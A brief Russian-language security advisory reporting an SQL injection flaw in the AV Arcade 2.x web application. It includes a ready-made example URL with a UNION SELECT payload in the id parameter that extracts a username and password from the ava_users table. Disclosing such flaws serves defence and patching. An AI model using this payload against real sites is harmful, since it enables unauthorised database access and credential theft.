Программа: AV Arcade 2.x

Уязвимость позволяет удаленному
пользователю выполнить произвольные SQL
команды в базе данных приложения.

Пример:

/index.php?task=view_page&id= -1%20UNION%20SELECT%201,username,
password%20FROM%20ava_users%20WHERE%20id=1

Оставить мнение